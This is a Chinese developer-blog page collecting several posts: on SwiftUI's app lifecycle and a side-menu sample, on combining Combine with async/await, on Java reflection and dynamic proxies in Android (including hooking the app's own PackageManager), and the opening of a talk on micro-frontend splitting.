xcrun simctl openurl booted <your url>

Demo: Opening deep links and continuing user activities

继续用户 activity

如果你的应用使用 NSUserActivity 来集成 Siri、Handoff 或 Spotlight,你需要处理用户继续进行的 activity。

同样,新的应用生命周期模型通过提供两个 modifier 使你更容易实现这一点。这些 modifier 使你可以声明 activity 并让用户可以继续进行它们。

下面是一个展现如何声明 activity 的代码片段。在一个具体的视图里:

struct ColorDetailsView: View {
var color: String

var body: some View {
Image(color)
// ...
.userActivity("showColor") { activity in
activity.title = color
activity.isEligibleForSearch = true
activity.isEligibleForPrediction = true
// ...
}
}
}

为了允许继续进行这个 activity,你可以在最顶层的导航视图中注册 onContinueUserActivity 闭包,如下所示:

import SwiftUI

struct ContentView: View {
var colors = ["Red", "Green", "Yellow", "Blue", "Pink", "Purple"]

@State var selectedColor: String? = nil

var body: some View {
NavigationView {
ScrollView {
LazyVGrid(columns: columns) {
ForEach(colors, id: \.self) { color in
NavigationLink(destination: ColorDetailsView(color: color),
tag: color,
selection: $selectedColor) {
Image(color)
}
}
}
.onContinueUserActivity("showColor") { userActivity in
if let color = userActivity.userInfo?["colorName"] as? String {
selectedColor = color
}
}
}
}
}
}

请帮帮我 —— 上述的那些对我都不管用!

新的应用声明周期(截止当前)并非支持 AppDelegate 的所有回调函数。如果上述这些都不满足你的需求,你可能还是需要一个 AppDelegate

另一个需要 AppDelegate 的原因是你使用的第三方 SDK 会使用 method swizzling 来把它们注入应用生命周期。Firebase 就是一个典型的例子

为了帮助上述情况中的你摆脱困境,Swift 提供了一种将 AppDelegate 的一个实现类与你的 App 实现相连接的方法:@UIApplicationDelegateAdaptor。使用方法如下:

class AppDelegate: NSObject, UIApplicationDelegate {
func application(_ application: UIApplication,
didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey : Any]? = nil) -> Bool {
print("Colors application is starting up. ApplicationDelegate didFinishLaunchingWithOptions.")
return true
}
}

@main
struct ColorsApp: App {
@UIApplicationDelegateAdaptor(AppDelegate.self) var delegate

var body: some Scene {
WindowGroup {
ContentView()
}
}
}

如果你是在复制现有的 AppDelegate 实现,不要忘记删除 @main 属性 —— 不然,编译器该向你抱怨存在多个应用入口了。

总结

至此,让我们讨论一下苹果为什么要进行这些改变。我觉得有以下的几个原因:

SE-0281 explicitly states that one of the design goals was “to offer a more general purpose and lightweight mechanism for delegating a program’s entry point to a designated type.”

苹果选择的基于 DSL 来处理应用生命周期的方法和 SwiftUI 的声明式 UI 搭建方法相契合。两者采用相同的概念可以更方便新加入的开发者们理解。

声明式方法的主要好处是:框架/平台将替代开发者承受实现特定功能的负担。如果需要进行任何更改,这种模式可以在不破坏许多开发人员的应用的情况下进行发布,这也使发布更改变得更容易 —— 理想情况下,开发人员无需更改其实现,因为框架将把一切都搞定。

总体而言,新的应用生命周期模型使实现应用程序的启动更加简单。你的代码将变得更加简洁,更易于维护 —— 要我说,这总是一件好事。

我希望本文能帮你了解新的应用生命周期的来龙去脉。如果你有关于本文的任何疑问或评论,欢迎在 Twitter 上关注并私信我,或者在 GitHub 上的样例项目中提 issue。

感谢你的阅读!

扩展阅读

想了解更多,请查看下面的这些资料:

如果发现译文存在错误或其他需要改进的地方,欢迎到 掘金翻译计划 对译文进行修改并 PR,也可获得相应奖励积分。文章开头的 本文永久链接 即为本文在 GitHub 上的 MarkDown 链接。


掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 AndroidiOS前端后端区块链产品设计人工智能等领域,想要查看更多优质译文请持续关注 掘金翻译计划官方微博知乎专栏

收起阅读 »

SwiftUI 实现侧滑菜单 Side Menu

SwiftUI 实现侧滑菜单 Side Menu 效果 代码 代码里都有相关注释 源码 github 链接:gist.github.com/RandyWei/05… // // ContentView.swift // SiderMenuDemo01 ...
继续阅读 »

SwiftUI 实现侧滑菜单 Side Menu


效果


iShot2021-09-08 09.43.45.gif


代码


代码里都有相关注释


源码 github 链接:gist.github.com/RandyWei/05…



//
// ContentView.swift
// SiderMenuDemo01
//
// Created by RandyWei on 2021/9/7.
//

import SwiftUI

struct ContentView: View {

//划动偏移量
@GestureState var offset:CGFloat = 0

//滑动应该停留在某个点
//停留点: 屏幕宽度的3/5
let maxOffset:CGFloat = UIScreen.main.bounds.width * 3 / 5

//滑动展开之后的 offset
@State var expandOffset:CGFloat = 0

//回弹点:最大停留点/2
private var springOffset:CGFloat{
maxOffset / 2
}
//缩放比例,默认是1
@State private var scaleRatio:CGFloat = 1

//最小 可缩放值
let minScale:CGFloat = 0.9


private var dragGesture: some Gesture {
DragGesture()
.updating($offset, body: { value, out, _ in
//判断是否反向滑动,如果是展开状态需要反向滑动
if value.translation.width >= 0 || expandOffset != 0 {
out = value.translation.width
}
})
.onChanged { value in
//为了顺畅给缩放增加过渡
if value.translation.width >= 0 {
//对缩放比例进行计算:缩放值 = 划动比例 * 可缩放值(1-minScale)
//因为是往小了缩,所以是1-缩放值
scaleRatio = 1 - (value.translation.width / maxOffset) * (1 - minScale)
} else {
//反向value.translation.width是负数 ,所以+maxOffset变为正值
scaleRatio = 1 - ((maxOffset + value.translation.width) / maxOffset) * (1 - minScale)
}
}
.onEnded { value in
//需要判断滑动是否超过某个点来决定是重置还是停留
if value.translation.width >= springOffset {
expandOffset = maxOffset
//停止后,缩小 到0.9
scaleRatio = minScale
} else {
expandOffset = 0
scaleRatio = 1
}
}
}

var body: some View {

ZStack{

//侧边菜单层
SideMenuView()

//功能区域
FeatureView()
.offset(x: offset + expandOffset)
.scaleEffect(scaleRatio)
.animation(.easeInOut(duration: 0.05))
.gesture(dragGesture)


}

}
}

struct FeatureView:View {

var body: some View{

GeometryReader{proxy in
VStack{
HStack{
Image(systemName: "list.dash")
.resizable()
.frame(width: 20, height: 20, alignment: .center)

Text("功能区域")
.font(.title)

Spacer()
}

ScrollView(.vertical, showsIndicators: false, content: {

VStack{

ForEach(0..<50){_ in

HStack{

Image(systemName: "person")
.resizable()
.frame(width: 80, height: 80, alignment: .center)

VStack(alignment: .leading){
Text("titletitletitletitletitle")
.font(.title)

Spacer()

Text("bodybodybodybodybodybody")
.font(.body)
}

}

}.redacted(reason: .placeholder)
}

})
}
.padding(.horizontal)
.padding(.top, 8 + proxy.safeAreaInsets.top)
.frame(maxWidth:.infinity,maxHeight: .infinity,alignment: .topLeading)
.background(Color.white)
.cornerRadius(30)
.shadow(radius: 10)
.ignoresSafeArea()
}

}
}

struct SideMenuView:View {
var body: some View{

GeometryReader{proxy in
VStack(alignment:.leading){
//祖传头像
Image("avatar")
.resizable()
.aspectRatio(contentMode: .fill)
.frame(width: 100, height: 100, alignment: .center)
.clipShape(Circle())

Text("韦爵爷")
.font(.title)

Text("这个人很懒,什么都没留下")

//菜单

HStack{
Image(systemName: "archivebox")
Text("菜单一")
}
.padding(.top)

HStack{
Image(systemName: "note.text")
Text("菜单二")
}
.padding(.top)


HStack{
Image(systemName: "gearshape")
Text("个人设置")
}
.padding(.top)

Spacer()

HStack{
Image(systemName: "signature")
Text("退出登录")
}
.padding(.top)

}
.foregroundColor(.white)
.padding(.horizontal)
.padding(.top, 8 + proxy.safeAreaInsets.top)
.padding(.bottom, 8 + proxy.safeAreaInsets.bottom)
.frame(maxWidth:.infinity,maxHeight: .infinity,alignment: .topLeading)
.background(Color.orange)
.ignoresSafeArea()
}

}
}

struct ContentView_Previews: PreviewProvider {
static var previews: some View {
ContentView()
}
}

相关视频

Swift UI侧滑菜单Side Menu-哔哩哔哩


作者:RandyWei
链接:https://juejin.cn/post/7005374220360220702

收起阅读 »

聊聊 Combine 和 async/await 之间的合作

iOS
在 Xcode 13.2 中,苹果完成了 async/await 的向前部署(Back-deploying)工作,将最低的系统要求降低到了 iOS 13(macOS Catalina),这一举动鼓舞了越来越多的人开始尝试使用 async/await 进行开发。...
继续阅读 »

在 Xcode 13.2 中,苹果完成了 async/await 的向前部署(Back-deploying)工作,将最低的系统要求降低到了 iOS 13(macOS Catalina),这一举动鼓舞了越来越多的人开始尝试使用 async/await 进行开发。当大家在接触了异步序列(AsyncSequence)后,会发现它同 Combine 的表现有些接近,尤其结合近两年 Combine 框架几乎没有什么变化,不少人都提出了疑问:苹果是否打算使用 AsyncSequence 和 AsyncStream 替代 Combine。

恰巧我在最近的开发中碰到了一个可能需要结合 Combine 和 async/await 的使用场景,通过本文来聊聊 Combine 和 async/await 它们之间各自的优势、是否可以合作以及如何合作等问题。

原文发表在我的博客 wwww.fatbobman.com

欢迎订阅我的公共号:【肘子的Swift记事本】

需要解决的问题

在最近的开发中,我碰到了这样一个需求:

  • 在 app 的生命周期中,会不定期的产生一系列事件,事件的发生频率不定、产生的途径不定
  • 对每个事件的处理都需要消耗不小的系统资源,且需要调用系统提供的 async/await 版本的 API
  • app 对事件的处理结果时效性要求不高
  • 需要限制事件处理的系统消耗,避免同时处理多个事件
  • 不考虑使用 GCD 或 OperationQueue

对上述的需求稍加分析,很快就可以确立解决问题的方向:

  • Combine 在观察和接收事件方面表现的非常出色,应该是解决需求第一点的不二人选
  • 在解决方案中必然会使用到 async/await 的编程模式

需要解决的问题就只剩下两个:

  • 如何将事件处理串行化(必须处理完一个事件后才能处理下一个事件)
  • 如何将 Combine 和 async/await 结合使用

Combine 和 AsyncSequence 之间的比较

由于 Combine 同 AsyncSequence 之间存在不少相似之处,有不少开发者会认为 AsyncSequence 可能取代 Combine,例如:

  • 两者都允许通过异步的方式处理未来的值
  • 两者都允许开发者使用例如 map、flatMap 等函数对值进行操作
  • 当发生错误时,两者都会结束数据流

但事实上,它们之间还是有相当的区别。

事件的观察与接收

Combine 是为响应式编程而生的工具,从名称上就可以看出,它非常擅长将不同的事件流进行变形和合并,生成新的事件流。Combine 关注于对变化的响应。当一个属性发生变化,一个用户点击了按钮,或者通过 NotificationCenter 发送了一个通知,开发者都可以通过 Combine 提供了的内置工具做出及时处理。

通过 Combine 提供的 Subject(PassthroughSubject、CurrentValueSubject),开发者可以非常方便的向数据流中注入值,当你的代码是以命令式风格编写的时候,Subject 就尤为显得有价值。

在 async/await 中,通过 AsyncSequence,我们可以观察并接收网络流、文件、Notification 等方面的数据,但相较于 Combine,仍缺乏数据绑定以及类似 Subject 的数据注入能力。

在对事件的观察与接收方面,Combine 占有较大优势。

关于数据处理、变形的能力

仅从用于数据处理、变形的方法数量上来看,AsyncSequence 相较 Combine 还是有不小的差距。但 AsyncSequence 也提供了一些 Combine 尚未提供,且非常实用的方法和变量,例如:characters、lines 等。

由于侧重点不同,即使随着时间的推移两者增加了更多的内置方法,在数据处理和变形方面也不会趋于一致,更大的可能性是不断地在各自擅长的领域进行扩展。

错误处理方式

在 Combine 中,明确地规定了错误值 Failure 的类型,在数据处理链条中,除了要求 Output 数据值类型一致外,还要求错误值的类型也要相互匹配。为了实现这一目标,Combine 提供了大量的用于处理错误类型的操作方法,例如:mapError、setFailureType、retry 等。

使用上述方法处理错误,可以获得编译器级别的保证优势,但在另一方面,对于一个逻辑复杂的数据处理链,上述的错误处理方式也将导致代码的可读性显著下降,对开发者在错误处理方面的掌握要求也比较高。

async/await 则采用了开发者最为熟悉的 throw-catch 方式来进行错误处理。基本没有学习难度,代码也更符合大多数人的阅读习惯。

两者在错误处理上功能没有太大区别,主要体现在处理风格不同。

生命周期的管理

在 Combine 中,从订阅开始,到取消订阅,开发者通过代码可以对数据链的生命周期做清晰的定义。当使用 AsyncSequence 时,异步序列生命周期的表述则没有那么的明确。

调度与组织

在 Combine 中,开发者不仅可以通过指定调度器(scheduler),显式地组织异步事件的行为和地点,而且 Combine 还提供了控制管道数量、调整处理频率等多维度的处理手段。

AsyncSequence 则缺乏对于数据流的处理地点、频率、并发数量等控制能力。

下文中,我们将尝试解决前文中提出的需求,每个解决方案均采用了 Combine + async/await 融合的方式。

方案一

在 Combine 中,可以使用两种手段来限制数据的并发处理能力,一种是通过设定 flatMap 的 maxPublishers,另一种则是通过自定义 Subscriber。本方案中,我们将采用 flatMap 的方式来将事件的处理串行化。

在 Combine 中调用异步 API,目前官方提供的方法是将上游数据包装成 Future Publisher,并通过 flatMap 进行切换。

在方案一中,通过将 flatMap、Deferred(确保只有在订阅后 Future 才执行)、Future 结合到一起,创建一个新的 Operator,以实现我们的需求。

public extension Publisher {
func task<T>(maxPublishers: Subscribers.Demand = .unlimited,
_ transform: @escaping (Output) async -> T) -> Publishers.FlatMap<Deferred<Future<T, Never>>, Self> {
flatMap(maxPublishers: maxPublishers) { value in
Deferred {
Future { promise in
Task {
let output = await transform(value)
promise(.success(output))
}
}
}
}
}
}

public extension Publisher where Self.Failure == Never {
func emptySink() -> AnyCancellable {
sink(receiveValue: { _ in })
}
}

鉴于篇幅,完整的代码(支持 Error、SetFailureType)版本,请访问 Gist,本方案的代码参考了 Sundell 的 文章

使用方法如下:

var cancellables = Set<AnyCancellable>()

func asyncPrint(value: String) async {
print("hello \(value)")
try? await Task.sleep(nanoseconds: 1000000000)
}

["abc","sdg","353"].publisher
.task(maxPublishers:.max(1)){ value in
await asyncPrint(value:value)
}
.emptySink()
.store(in: &cancellables)
// Output
// hello abc
// 等待 1 秒
// hello sdg
// 等待 1 秒
// hello 353

假如将将上述代码中的["abc","sdg","353"].publisher更换成 PassthoughSubject 或 Notification ,会出现数据遗漏的情况。这个状况是因为我们限制了数据的并行处理数量,从而导致数据的消耗时间超过了数据的生成时间。需要在 Publisher 的后面添加 buffer,对数据进行缓冲。

let publisher = PassthroughSubject<String, Never>()
publisher
.buffer(size: 10, prefetch: .keepFull, whenFull: .dropOldest) // 缓存数量和策略根据业务的具体情况确定
.task(maxPublishers: .max(1)) { value in
await asyncPrint(value:value)
}
.emptySink()
.store(in: &cancellables)

publisher.send("fat")
publisher.send("bob")
publisher.send("man")

方案二

在方案二中,我们将采用的自定义 Subscriber 的方式来限制并行处理的数量,并尝试在 Subscriber 中调用 async/await 方法。

创建自定义 Subscriber:

extension Subscribers {
public class OneByOneSink<Input, Failure: Error>: Subscriber, Cancellable {
let receiveValue: (Input) -> Void
let receiveCompletion: (Subscribers.Completion<Failure>) -> Void

var subscription: Subscription?

public init(receiveCompletion: @escaping (Subscribers.Completion<Failure>) -> Void,
receiveValue: @escaping (Input) -> Void) {
self.receiveCompletion = receiveCompletion
self.receiveValue = receiveValue
}

public func receive(subscription: Subscription) {
self.subscription = subscription
subscription.request(.max(1)) // 订阅时申请数据量
}

public func receive(_ input: Input) -> Subscribers.Demand {
receiveValue(input)
return .max(1) // 数据处理结束后,再此申请的数据量
}

public func receive(completion: Subscribers.Completion<Failure>) {
receiveCompletion(completion)
}

public func cancel() {
subscription?.cancel()
subscription = nil
}
}
}

receive(subscription: Subscription)中,使用subscription.request(.max(1))设定了订阅者订阅时请求的数据量,在receive(_ input: Input)中,使用return .max(1)设定了每次执行完receiveValue方法后请求的数据量。通过上述方式,我们创建了一个每次申请一个值,逐个处理的订阅者。

但当我们在receiveValue方法中使用 Task 调用 async/await 代码时会发现,由于没有提供回调机制,订阅者将无视异步代码执行完成与否,调用后直接会申请下一个值,这与我们的需求不符。

在 Subscriber 中可以通过多种方式来实现回调机制,例如回调方法、Notification、@Published 等。下面的代码中我们使用 Notification 进行回调通知。

public extension Subscribers {
class OneByOneSink<Input, Failure: Error>: Subscriber, Cancellable {
let receiveValue: (Input) -> Void
let receiveCompletion: (Subscribers.Completion<Failure>) -> Void

var subscription: Subscription?
var cancellable: AnyCancellable?

public init(notificationName: Notification.Name,
receiveCompletion: @escaping (Subscribers.Completion<Failure>) -> Void,
receiveValue: @escaping (Input) -> Void) {
self.receiveCompletion = receiveCompletion
self.receiveValue = receiveValue
cancellable = NotificationCenter.default.publisher(for: notificationName, object: nil)
.sink(receiveValue: { [weak self] _ in self?.resume() })
// 在收到回调通知后,继续向 Publisher 申请新值
}

public func receive(subscription: Subscription) {
self.subscription = subscription
subscription.request(.max(1))
}

public func receive(_ input: Input) -> Subscribers.Demand {
receiveValue(input)
return .none // 调用函数后不继续申请新值
}

public func receive(completion: Subscribers.Completion<Failure>) {
receiveCompletion(completion)
}

public func cancel() {
subscription?.cancel()
subscription = nil
}

private func resume() {
subscription?.request(.max(1))
}
}
}

public extension Publisher {
func oneByOneSink(
_ notificationName: Notification.Name,
receiveCompletion: @escaping (Subscribers.Completion<Failure>) -> Void,
receiveValue: @escaping (Output) -> Void
) -> Cancellable {
let sink = Subscribers.OneByOneSink<Output, Failure>(
notificationName: notificationName,
receiveCompletion: receiveCompletion,
receiveValue: receiveValue
)
self.subscribe(sink)
return sink
}
}

public extension Publisher where Failure == Never {
func oneByOneSink(
_ notificationName: Notification.Name,
receiveValue: @escaping (Output) -> Void
) -> Cancellable where Failure == Never {
let sink = Subscribers.OneByOneSink<Output, Failure>(
notificationName: notificationName,
receiveCompletion: { _ in },
receiveValue: receiveValue
)
self.subscribe(sink)
return sink
}
}

调用:

let resumeNotification = Notification.Name("resume")

publisher
.buffer(size: 10, prefetch: .keepFull, whenFull: .dropOldest)
.oneByOneSink(
resumeNotification,
receiveValue: { value in
Task {
await asyncPrint(value: value)
NotificationCenter.default.post(name: resumeNotification, object: nil)
}
}
)
.store(in: &cancellables)

由于需要回调才能完成整个处理逻辑,针对本文需求,方案一相较方案二明显更优雅。

方案二中,数据处理链是可暂停的,很适合用于需要触发某种条件才可继续执行的场景。

方案三

在前文中提到过,苹果已经为 Notification 提供了 AsyncSequence 的支持。如果我们只通过 NotificationCenter 来发送事件,下面的代码就直接可以满足我们的需求:

let n = Notification.Name("event")
Task {
for await value in NotificationCenter.default.notifications(named: n, object: nil) {
if let str = value.object as? String {
await asyncPrint(value: str)
}
}
}

NotificationCenter.default.post(name: n, object: "event1")
NotificationCenter.default.post(name: n, object: "event2")
NotificationCenter.default.post(name: n, object: "event3")

简单的难以想象是吗?

遗憾的是,Combine 的 Subject 和其他的 Publishe 并没有直接遵循 AsyncSequence 协议。

但今年的 Combine 为 Publisher 增加了一个非常小但非常重要的功能——values。

values 的类型为 AsyncPublisher,其符合 AsyncSequence 协议。设计的目的就是将 Publisher 转换成 AsyncSequence。使用下面的代码便可以满足各种 Publisher 类型的需求:

let publisher = PassthroughSubject<String, Never>()
let p = publisher
.buffer(size: 10, prefetch: .keepFull, whenFull: .dropOldest)
Task {
for await value in p.values {
await asyncPrint(value: value)
}
}

因为 AsyncSequence 只能对数据逐个处理,因此我们无需再考虑数据的串行问题。

将 Publisher 转换成 AsyncSequence 的原理并不复杂,创建一个符合 AsyncSequence 的结构,将从 Publihser 中获取的数据通过 AsyncStream 转送出去,并将迭代器指向 AsyncStream 的迭代器即可。

我们可以用代码自己实现上面的 values 功能。下面我们创建了一个 sequence,功能表现同 values 类似。

public struct CombineAsyncPublsiher<P>: AsyncSequence, AsyncIteratorProtocol where P: Publisher, P.Failure == Never {
public typealias Element = P.Output
public typealias AsyncIterator = CombineAsyncPublsiher<P>

public func makeAsyncIterator() -> Self {
return self
}

private let stream: AsyncStream<P.Output>
private var iterator: AsyncStream<P.Output>.Iterator
private var cancellable: AnyCancellable?

public init(_ upstream: P, bufferingPolicy limit: AsyncStream<Element>.Continuation.BufferingPolicy = .unbounded) {
var subscription: AnyCancellable?
stream = AsyncStream<P.Output>(P.Output.self, bufferingPolicy: limit) { continuation in
subscription = upstream
.sink(receiveValue: { value in
continuation.yield(value)
})
}
cancellable = subscription
iterator = stream.makeAsyncIterator()
}

public mutating func next() async -> P.Output? {
await iterator.next()
}
}

public extension Publisher where Self.Failure == Never {
var sequence: CombineAsyncPublsiher<Self> {
CombineAsyncPublsiher(self)
}
}

完整代码,请参阅 Gist,本例的代码参考了 Marin Todorov 的 文章

sequence 在实现上和 values 还是有微小的不同的,如果感兴趣的朋友可以使用下面的代码,分析一下它们的不同点。

let p = publisher
.print() // 观察订阅器的请求情况。 values 的实现同方案二一样。
// sequence 使用了 AsyncStream 的 buffer,因此无需再设定 buffer

for await value in p.sequence {
await asyncPrint(value: value)
}

总结

在可以预见的未来,苹果一定会为 Combine 和 async/await 提供更多的预置融合手段。或许明后年,前两种方案就可以直接使用官方提供的 API 了。

希望本文能够对你有所帮助。

原文发表在我的博客 wwww.fatbobman.com

欢迎订阅我的公共号:【肘子的Swift记事本】

收起阅读 »

Android技能树点亮计划--Java反射与动态代理

简介 Java的反射是指程序在运行期可以拿到一个对象的所有信息 使用 反射主要分为以下几个步骤 1. 获取Class对象 JVM在加载类的时候,会为每个类生成一个独一无二的Class对象 获取方式有以下几种 //name = Test.class.getDe...
继续阅读 »

简介


Java的反射是指程序在运行期可以拿到一个对象的所有信息


使用


反射主要分为以下几个步骤


1. 获取Class对象


JVM在加载类的时候,会为每个类生成一个独一无二的Class对象


获取方式有以下几种 
//name = Test.class.getDeclaredField("name");
//name = test.getClass().getDeclaredField("name");
name = Class.forName("com.example.app.MainActivity$Test").getDeclaredField("name");

2. 操作fileds


Test test = new Test("xxx");
Field name;
try {
//name = Test.class.getDeclaredField("name");
//name = test.getClass().getDeclaredField("name");
name = Class.forName("com.example.app.MainActivity$Test").getDeclaredField("name");
name.setAccessible(true);
Log.d("test", (String)name.get(test));
} catch (NoSuchFieldException | IllegalAccessException | ClassNotFoundException e) {
e.printStackTrace();
}

class Test {
private String name;

public Test(String name) {
this.name = name;
}
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}



  • getDeclaredField :获取本类的任何field




  • getField:获取本类和基类的public field




  • 获取基类非public值,只能通过基类class的getDeclaredField




3. 调用method


// 无参数的方法
Method getName = Class.forName("com.example.app.MainActivity$Test").getMethod("getName");
Log.d("test", (String)getName.invoke(test));

// 有参数的方法
Method setName = Class.forName("com.example.app.MainActivity$Test").getMethod("setName", String.class);
setName.invoke(test, "sdaasda");
Log.d("test", test.getName());

动态代理


在程序运行期动态创建某个interface的实例,通过动态代理可以实现一个方法/类的hook


比如hook点击事件


public class HookOnClickListenerHelper {
public static View.OnClickListener hook(Context context, final View v) {//
return (OnClickListener)Proxy.newProxyInstance(v.getClass().getClassLoader(),
new Class[] {OnClickListener.class},
new ProxyHandler(new ProxyOnClickListener()));
}

static class ProxyHandler implements InvocationHandler {

private View.OnClickListener listener;

public ProxyHandler(OnClickListener listener) {
this.listener = listener;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return method.invoke(listener, args);
}
}

static class ProxyOnClickListener implements View.OnClickListener {
@Override
public void onClick(View v) {
Log.d("HookSetOnClickListener", "点击事件被hook到了");
}
}
}

findViewById(R.id.service).setOnClickListener(HookOnClickListenerHelper.hook(this, findViewById(R.id.service)))

实践


目标:动态代理应用版本号的返回


分析:


动态代理的实现相对来说是简单的,困难的部分在于通过读源码了解到功能是如何实现的,通过代理哪个类可以修改目标代码的返回



  1. Android是如何获取应用版本号的?


通过getPackageManager()的getPackageInfo()


PackageManager pm = getPackageManager();
PackageInfo pi = pm.getPackageInfo(getPackageName(), 0);
versionName = pi.versionName;
versioncode = pi.versionCode;


  1. getPackageManager()如何获取 ?


getPackageManager在Context中实现,Context是一个abstract Class,所有的实现都在 ContextImpl中,通过ContextImpl我们发现getPackageManager()是从 ActivityThread.getPackageManager()拿到的


// ContextImp.java
@Override
public PackageManager getPackageManager() {
if (mPackageManager != null) {
return mPackageManager;
}

final IPackageManager pm = ActivityThread.getPackageManager();
if (pm != null) {
// Doesn't matter if we make more than one instance.
return (mPackageManager = new ApplicationPackageManager(this, pm));
}

return null;
}


  1. ActivityThread如何获取?


ActivityThread内部有静态方法currentActivityThread()来获取


// ActivityThread.java
public static ActivityThread currentActivityThread() {
return sCurrentActivityThread;
}


  1. ActivityThread中的packageManager怎么获取?


在ActivityThread中定义了sPackageManager,通过它我们就能拿到sPackageManager


 public static IPackageManager getPackageManager() {
if (sPackageManager != null) {
//Slog.v("PackageManager", "returning cur default = " + sPackageManager);
return sPackageManager;
}
IBinder b = ServiceManager.getService("package");
//Slog.v("PackageManager", "default service binder = " + b);
sPackageManager = IPackageManager.Stub.asInterface(b);
//Slog.v("PackageManager", "default service = " + sPackageManager);
return sPackageManager;
}

代理:




  1. 获取ActivityThread


    // 获取ActivityThread
    activityThreadClz = Class.forName("android.app.ActivityThread");
    Method currentActivityThread = activityThreadClz.getDeclaredMethod("currentActivityThread");
    currentActivityThread.setAccessible(true);
    Object activityThread = currentActivityThread.invoke(null);




  2. 获取packageManager


    // 获取packageManager
    Field packageManagerField = activityThreadClz.getDeclaredField("sPackageManager");
    packageManagerField.setAccessible(true);
    final Object packageManager = packageManagerField.get(activityThread);




  3. 动态代理,处理getPackageInfo方法


    // 动态代理处理数据
    Class<?> packageManagerClazz = Class.forName("android.content.pm.IPackageManager", false, getClassLoader());
    Object proxy = Proxy.newProxyInstance(getClassLoader(), new Class[] {packageManagerClazz},
    new InvocationHandler() {
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Object result = method.invoke(packageManager, args);
    if ("getPackageInfo".equals(method.getName())) {
    PackageInfo packageInfo = (PackageInfo)result;
    packageInfo.versionName = "sdsds";
    }
    return result;
    }
    });




  4. 给packManger设置hook的对象


    //hook sPackageManager
    packageManagerField.set(activityThread, proxy);




测试:


//越早 hook 越好,推荐在 attachBaseContext 调用
PackageManager pm = getPackageManager();
try {
PackageInfo pi = pm.getPackageInfo(getPackageName(), 0);
Log.d(TAG, pi.versionName);
} catch (NameNotFoundException e) {
e.printStackTrace();
}


作者:悠二
链接:https://juejin.cn/post/7046353293240434724
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

微前端拆分实践

“这篇文章是我一次活动分享的讲稿”最近项目上机缘巧合用微前端解决了一些团队问题,借此机会跟大家分享一下。微前端作为近两年兴起的一种解决方案,也不是什么新东西了,既然是解决方案,那么微前端帮我们解决了什么问题呢?这里我以我们项目组为例子讲讲:我们为什么需要微前端...
继续阅读 »

这篇文章是我一次活动分享的讲稿

最近项目上机缘巧合用微前端解决了一些团队问题,借此机会跟大家分享一下。

微前端作为近两年兴起的一种解决方案,也不是什么新东西了,既然是解决方案,那么微前端帮我们解决了什么问题呢?这里我以我们项目组为例子讲讲:

我们为什么需要微前端?

我们的项目整体来看算得上一个比较大型的项目,整个项目规划完成后有 17 条业务线。但是在刚起项目的时候由于种种原因并没有考虑周全,将项目当成一个普通的前端项目来解决,在第一期项目结束,第一条业务上线后,我们紧接着开始了第二和第三条业务线的开发,紧接着我们就遇到了一些问题:

代码冲突

一期项目上线后交由维护团队维护,交付团队继续后面项目的开发。由于所有代码在同一个 repo 中作为一个大型单体被共同维护,两个团队的代码修改常常有冲突,需要小心 merge。同时还需要理解对方的业务,看自己的业务会不会破坏对方的业务。

部署冲突

由于所有的基础设施包括 CI/CD 等都是公用的,任何一个团队想要部署自己的代码,势必会对另外一个团队造成影响,不管是 feature toggle 还是 chunk base 的开发方式都将增大开发人员的心智负担。

技术栈冲突

由于项目比较大,未来团队的数量不确定,我们不能将技术栈限制死,否则就有可能有的团队要使用自己完全不熟练的技术栈,更别说未来还有第三方团队加入的可能性,我们不希望将整个项目绑定在某一个技术栈上。

基于这样的背景,我们发现微前端这套解决方案很好地解决了我们的问题。说白了在我们的项目背景下,我们最希望得到的东西是 -- 团队自治

我们希望各个业务线的团队能够自由修改自己的代码,不用担心与别的团队产生冲突。她们可以自由选择自己熟悉的技术栈,不必有过多限制。同时任何团队的部署都不会影响其他团队,这也就意味着某一个团队负责的部分如果挂掉了,网站上其他团队维护的部分也是可用的。

最重要的,这样的架构可以让各个团队聚焦在自己的技术和业务上,减少各个团队不必要的无效沟通,提升各个团队的开发效率。

拆分时机

对于微前端的拆分来说,这是一项工作量较大的技术改进,而且它不同于别的技术改进,它没有模版,没有办法按部就班的从网上找个东西过来照抄,必须要结合自己的项目来进行。

另一方面,我们需要达成共识的是,在我们的日常开发中,大多数情况下项目上不可能给开发人员足够的时间来做技术改进,这就意味着大多数技术改进需要同业务开发一同进行。那么找准一个改进的时机就很重要了。

那么这样的时机通常是什么时候呢?

业务有较大的改变或演进

这种情况我想大多数同学都经历过,在开发最初说的好好的需求,由于种种原因需要做一次大的改变。面对这种大的需求变更,通常我们的代码也需要做对应的改变,而这种改变也需要重写一些代码,这个重写的过程就是一个很好的进行拆分的好时机。

在这个期间我们有足够的理由说服项目干系人给我们时间去重新组织项目代码去更好地支持业务的发展。

业务稳定不再有大的改进

此时业务的发展趋于稳定,但目前的架构如果也的确给开发造成了阻碍。那么就可以在这个稳定架构上进行改进。当然此时的业务还在发展,我们可以采取两种策略:

  • 一种是以拆分任务为高优先级,新的业务开发基于新的架构
  • 一种是先在旧的架构上持续开发,在拆分的过程中由负责拆分的同学将业务和技术一起迁移过去

拆分原则

我们在拆分微前端的时候一定是带有某种目的的,有可能是想对技术栈进行渐进式升级,也有可能像我们一样想提升各个独立团队的自治力,在不同的目的下我们可能会秉持不同的原则,这也是另一个为什么微前端的拆分没办法简单抄作业的原因。

就我们项目来说,我们追求各个团队的最高自治力,那么我们就希望各个独立app尽量减少彼此的通信和依赖,每个app能够尽量独立处理自己的业务。

在这样的大前提下,我们可以按照业务为主模块为辅的方式指导拆分,基于此,我们定义了一些拆分时候的原则:

  • 保证业务独立,一条业务线应该由一个独立的app来支撑,使得该业务团队拥有这个app的完全控制权
  • 跨业务的页面不应该各个业务各自持有,也应该拆分为一个独立的app
  • 通用方法库和通用组件库由大家共同维护以支撑各自的业务

拆分前的准备

前置概念

single-spa

Single-spa 是一个微前端框架,它不限制每一个 app 具体使用怎样的技术栈,主要通过控制 route 的方式在页面上渲染不同的 app。

在开始微前端的拆分前我们进行了一些调研后选择了它作为我们微前端的框架,说是调研其实当时我们并没有过多的了解每一个框架,比如国内比较有名的 qiankun。

